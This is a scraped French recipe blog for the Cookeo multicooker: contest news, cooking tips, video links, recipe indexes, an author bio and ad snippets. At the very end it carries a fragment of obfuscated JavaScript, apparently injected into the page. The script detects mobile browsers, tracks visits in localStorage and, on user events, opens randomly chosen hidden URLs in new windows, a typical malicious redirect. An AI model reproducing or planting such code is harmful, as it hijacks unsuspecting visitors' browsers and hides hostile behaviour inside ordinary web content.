Jeu concours Moulinex Gratuit 

Allez n’hésitez pas Moulinex propose un jeu concours gratuit du 2/11/16 au 2/01/16 . A gagner un Cookeo + 1 fresh express et un companion 

Pour vous s’inscrire cliquez sur ce lien https://jeu.moulinex.fr/?idfrom=
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Astuce cookeo 

Voilà une vidéo destinée à ceux qui débute au cookeo .Il s’agit de voir comment interrompre une cuisson au cookeo . Vous avez oublié un ingrédients par exemple alors pas de problème .  La vidéo vous explique comment faire .

[youtube https://www.youtube.com/watch?v=4-8l5npfSSQ]

 

 

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336 publications de Cookeorecettes  : le PDF récapitulatif

Pour vous faciliter la tâche j’ai construit un PDF récapitulatif de toutes mes publications  cookeo sur Sport et Regime.com et ma page Facebook Cookeorecettes Vous trouverez sur ce PDF 

• Recettes cookeo viandes (bœuf,volaille,porc,veau etc …)
• Recettes cookeo de légumes
• Recettes cookeo de desserts
• Recettes cookeo de poissons
• Recettes cookeo weight watchers
• Fiches recettes cookeo
• Fiches recettes cookeo weight watchers
• Astuces cookeo
• Mes vidéos cookeo
• Mes PDF gratuits cookeo

Soit au total 336 publications ET PLUS DE 1000 recettes . D’autres sont à venir dès la rentrée des classes .

Pour accéder à la recette ou aux astuces ou autres (depuisle pdf) vous cliquez sur le titre et vous êtes renvoyé directement sur mes blogs ou pages ou groupes.

Vous trouverez donc ce PDF en cliquant ICI  ou sur l’image mais aussi en haut de mon groupe cookeorecettes que je vous invite à intégrer en cliquant sur le lien https://www.facebook.com/groups/cookeorecettes/. Vous pourrez aussi le trouvez dans la rubrique fichier du groupe cookeorecettes .

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Coucou tout le monde ,

Voici 10 idées recettes cookeo pour les fêtes de Noël en PDF  . Ces recettes ont été réalisées par l’application mon cookeo .Vous pouvez donc les retrouver en téléchargeant l’application sur playstore ou en téléchargeant le PDF gratuit en cliquant ICI ou sur l’image

Je n’ai pas eu le temps de les tester mais elles me paraissent bien sympathiques.

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Bonjour tout le monde

Comme je publie beaucoup et que je posséde plusieurs lieux de publication je vais vous donnez quelques éclaricissements.

Tout d’abord qui est cookeo recettes ?

Je suis Jean-Philippe Rousseau , j’ai 52 ans et je vis à Issoudun dans le département de l’Indre. Je suis marié et j’ai 3 enfants

Je suis professeur d’éducation physique et sportive  depuis déjà plus de 20 ans .une envie de créer un blog germa dans mon esprit. Une volonté inconsciente de communiquer toujours et encore plus. Partager le fruit de son expérience, transmettre ses savoirs, communiquer aider.

Je suis donc celui qui administre les différentes pages et différents blogs.

Au départ est né sport et régime .com

Ce blog était dédié au domaine du sport, du bien être et de la santé. Et puis j’aime cuisiner alors j’ai eu envie de publier des recettes au départ diététiques puis  aussi quelques recettes traditionnelles.

 

Alors est né Recettesrapidesfaciles.com

 

Un blog qui fonctionne main dans la main avec sport et Régime .com

Et puis un cadeau de Noël qui change tout

En effet il y a 2 ans pour Noël Ma femme m’a offert le cookeo et depuis c’est l’amour fou, je ne le quitte pas et je fais la plupart de mes recettes avec.

Alors  j’ai souhaité continuer à partager mes recettes avec d’autres alors j’ai crée la page Facebook et le groupe Facebook : cookerecettes

En résumé la plupart des recettes que vous trouvez sur :

https://www.facebook.com/groups/cookeorecettes/

https://www.facebook.com/cookeorecettes/

http://www.recettesrapidesfaciles.com/

http://sport-et-regime.com/

Sont des recettes que j’ai réalisées et testées. Il y en a  bien sûr certaines que je partage ou que  je publie qui ont été crées par d’autres blogueurs. Des recettes que je trouve sympa à réaliser. Des recettes pour vous donner des idées.

Et puis mon dernier groupe weight watchers https://www.facebook.com/groups/1616650058629814/

Merci à tous et à toutes pour suivi .

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125 recettes cookeo

Voici un récapitulatif des recettes cookeo publiées sur mes blogs et sur ma page facebook cookeorecettes :

Des recettes que j’ai réalisées et testées.

Il suffit de cliquer sur le titre de la recette pour atteindre la page de la recette .Bonne navigation .

AGNEAU

 

Temps de cuisson de l’agneau au cookeo

 

BOEUF

 

Boeuf carottes maison

Boeuf à la moutarde

Boeuf façon carbonnade flamande

Boeuf Bourguignon revisité

Boeuf moutarde

Boulettes de boeuf et coquillettes aux poivrons |

Coquillettes aux boulettes de boeuf

Roti de boeuf à la moutarde

Steaks hachés au Roquefort

Temps de cuisson du boeuf au cookeo

 

LEGUMES

 

Aubergines à la tomate

 

Carottes aux oignons

 

Courgettes bolognaise

 

Crème de brocolis

|Choux fleur crème Dubarry

 

Fusillis Roquefort

Crème de carottes

 

Lentilles vertes du Berry

 

Pâtes à la crème basilic

 

Petits pois aux oignons

 

Riz avec programmation

 

Saute de champignons à la tomate à la poêle ou au cookeo

 

Temps de cuisson des haricots verts

Temps de cuisson des lentilles

Temps de cuisson des asperges

Temps de cuisson des légumes au cookeo

 

Temps de cuisson des endives au cookeo

 

VOLAILLES

 

Coquillettes Boursin au poulet weight watchers

Coquillettes au poulet express

 

Cuisse de dinde à la moutarde

Cuisses de poulet aux champignons

Colombo de sauté de porc

 

Couscous poulet merguez

 

Dinde à la crème fraîche

 

Emincés de poulet à la tomate style weight watchers |

 

Escalopes à la tomate

Escalopes de poulet basquaise

 

One pot pasta poulet paprika

 

Poulet au citron weight watchers

 

Paëlla allégée weight watchers

 

Poulet au soja le PDF

Poulet paprika et pommes de terre

Émincé de dinde à la moutarde à l’ancienne

 

Escalopes de poulet basquaise

Poulet au coca

 

PORC

Andouillettes au vin blanc

 

Blanquette de porc

 

Carottes carbonara

Coquillettes sauce poireaux Weight Watchers

 

Duo fleurettes aux dés de jambon

Filet mignon au boursin weight watchers

 

Longe de porc et pommes de terre

 

Mincerettes de porc à la tomate

Rôti de porc à la moutarde

Paupiettes de porc à la tomate

 

Tomates farcies

Tomates farcies

 

Coquillettes à la vache qui rit |

Longe de porc au curry |

Potée express au cookéo

Porc curry

 

Sauté de porc curry au cookeo

Tagliatelles carbonara

Tomates farcies

Longe de porc à la tomate

Longe façon bourguignon

 

Risotto jambon weight watchers

 

Risotto porc au curry |

 

Roti de porc au cidre

 

Rouelle porc moutarde

 

Sauté de porc tomate

 

Sauté de porc marengo

 

Recette weight watchers au cookeo : spaghettis aux asperges 9 PP |

 

SAUCISSES/MERGUEZ

Couscous VERSION 2

 

Saucisses lentilles

 

VEAU

Recette blanquette de veau Facile

 

Blanquette de veau

 

Rôti de veau au vin rouge

Temps de cuisson du veau

 

DESSERTS

 

Brioche perdue en pudding

 

Crème vanille légère

 

Gâteau chocolat Banania

 

Riz au lait au chocolat

 

Glace au Nutella à découvrir |

Crème chocolat

Riz au lait vanille

 

Riz au lait au chocolat

Compote pomme framboise

 

Compote pommes ananas

Créme au chocolat légère

 

confiture de pommes

confiture de fraises

 

Compote pommes poires

 

Compote pommes ananas

 

ROGNONS

 

Rognons au vin rouge

Rognons à la tomate

 

SOUPES

 

Minestrone aux lentilles |

Riz au chorizo

 

POISSONS

 

Crevettes au riz

 

Curry de limande

Encornets à la tomate

 

Filets saumon aux poireaux

 

Filets saumon aux poireaux

 

Maquereau miso

Maquereaux à la moutarde

 

Moules marinières

Moules au poireaux

Moules à la tomate

 

Risotto de colin à la crème fraîche |

 

Risotto de la mer

 

Steaks de thon à la tomate

 

Saumon moules à la crème fraîche

 

Temps de cuisson des crevettes et des gambas

 

Thon à la tomate

 

SAUCES

 

Béchamel –

 

Sauce Roquefort

PLATS COMPLETS

Marmite espagnole wwatchers:

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Boutique cookeo ma sélection 

Coucou tout le monde je vous propose une sélection d’articles autour du cookeo et de la cuisine  . Ma petite sélection en quelque sorte.

http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F0df38214-a8cc-44c1-a10b-b2ddb913c544&Operation=GetScriptTemplateWidgets Amazon.fr

http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F29cbedcf-887d-48c0-9c17-b4ad5e0ea971&Operation=GetScriptTemplateWidgets Amazon.fr

http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F93fc0874-0fcd-45e0-beb6-ac8358e77f80&Operation=GetScriptTemplateWidgets Amazon.fr
http://ws-eu.amazon-adsystem.com/widgets/q?rt=tf_cw&ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F61cbb24e-8a57-4edf-98c0-a2a2e6a5b91a&Operation=GetScriptTemplate Widgets Amazon.fr
http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8003%2F91c27686-55c4-4932-a053-726d6195cc4c&Operation=GetScriptTemplateWidgets Amazon.fr
http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F3436baf9-24ac-4ba8-a660-fa1ad8fafbcb&Operation=GetScriptTemplateWidgets Amazon.fr

http://ws-eu.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&MarketPlace=FR&ID=V20070822%2FFR%2Fserc-21%2F8010%2F5776aa7e-7284-43ca-a9f1-0f7cf3d43429&Operation=GetScriptTemplateWidgets Amazon.fr

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(adsbygoogle = window.adsbygoogle || []).push({});
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
(adsbygoogle = window.adsbygoogle || []).push({ google_ad_client: "ca-pub-3311867126402452", enable_page_level_ads: true });

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(adsbygoogle = window.adsbygoogle || []).push({});
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

(adsbygoogle = window.adsbygoogle || []).push({});
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Bonjour tout le monde 

juste un petit sondage pour savoir si les menus cookeo équilibrés vous plaisent et pour voir si nous continuons l’aventure .

 

[googleapps domain="docs" dir="forms/d/e/1FAIpQLSdXtfUPzF3-sXE-7CGhv7pQXEpIUmZNkEjGdh0xQvxg2Jmnew/viewform" query="embedded=true" width="760" height="500" /]
Je vous remercie pour votre participation .

 

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Quelle cuisson cookeo riz Basmati ?

Quand on débute avec le cookeo, on ne maîtrise pas toujours tout et parfois c’est un peu l’angoisse. Mais rassurez vous tout cela devrait renter dans l’ordre à force de manipulation. Souvent le plus gros problème rencontré se situe au niveau de la cuisson des pâtes ou du riz. On maitrise mal les temps de cuisson et le niveau d’eau.

Pour ma part j’adopte la solution suivante  quand je fais cuire le riz seul:

• Je prends le temps de cuisson indiqué sur le paquet de pâtes ou de riz et je divise en 2 pour programmer en cuisson rapide ou sous pression  et je recouvre d’eau (minimum 200 ml )

Quand je fais cuire le riz avec d’autres ingrédients (volaille, poulet, poisson) je me cale pour le temps de cuisson sur le temps de cuisson du riz ou de pâtes. Je prends également le temps indiqué sur le paquet et je divise en 2 pour la programmation.

Alors vous pouvez voir la vidéo comment s’effectue la cuisson cookeo riz basmati (le principe est le même pour tous les riz).

Des questions n’hésitez pas .

[youtube https://www.youtube.com/watch?v=5hgKKZ0cAd8&w=560&h=315]
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[youtube https://www.youtube.com/watch?v=5hgKKZ0cAd8]
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Menus  cookeo équilibrés cela vous dit ?

Bonjour tout le monde j’aimerai savoir si des menus équilibrés avec des recettes cookeo pour plat principal ou entrée ou dessert vous intéresse. En fait le principe consisterait  à proposer une journée complète de repas avec :

-une entrée

-un plat principal

-un laitage

– un fruit ou équivalent

 

L’objectif ne serait  pas de vous mettre au régime  mais de vous proposer une journée équilibrée en apports  nutritionnels.

En effet chaque jour notre corps a besoin d’une multitude d’apports qu’il faut équilibrer.  Alors pourquoi ne pas utiliser notre cookeo pour nous procurer plaisir gustatif et équilibre alimentaire.

Outre le fait d’équilibrer nos assiettes les menus vous donnerait des idées de repas pour la vie quotidienne.

Qu’en pensez – vous ? J’attends vraiment vos réactions et vos propositions.

Encore merci à tous pour votre suivi.

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Vous possédez le cookeo connect alors  vous trouverez ici la liste des appareils compatibles sous format PDF .En effet pour pouvoir profitez de l’application cookeo il faut  un apppareil téléphone ou tablette  version Android™ 4.3 ou supérieure et avoir le Bluetooth Low Energy (BT4.0).

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//
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Voici une petite vidéo pour vous aider à résoudre les problèmes que vous pouvez rencontrer avec votre cookeo .On peut  dépannez seul cookeo !!!

[youtube https://www.youtube.com/watch?v=M2MEPFshKEA]
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Recettes cookeo récapitulatif juin  (sport et vie pratique et cookeo rececettes)

Un petit diaporama récapitulatif des recettes cookeo publiées sur sport et vie pratique et la page Facebook cookeorecettes.
[youtube https://www.youtube.com/watch?v=k2k_ez_E2WQ]
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Suivez cette vidéo si vous rencontrez le code erreur cookeo 21,24,26. Une vidéo qui devrait résoudre vos problèmes.

[youtube https://www.youtube.com/watch?v=gPMTdvHw6e0]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());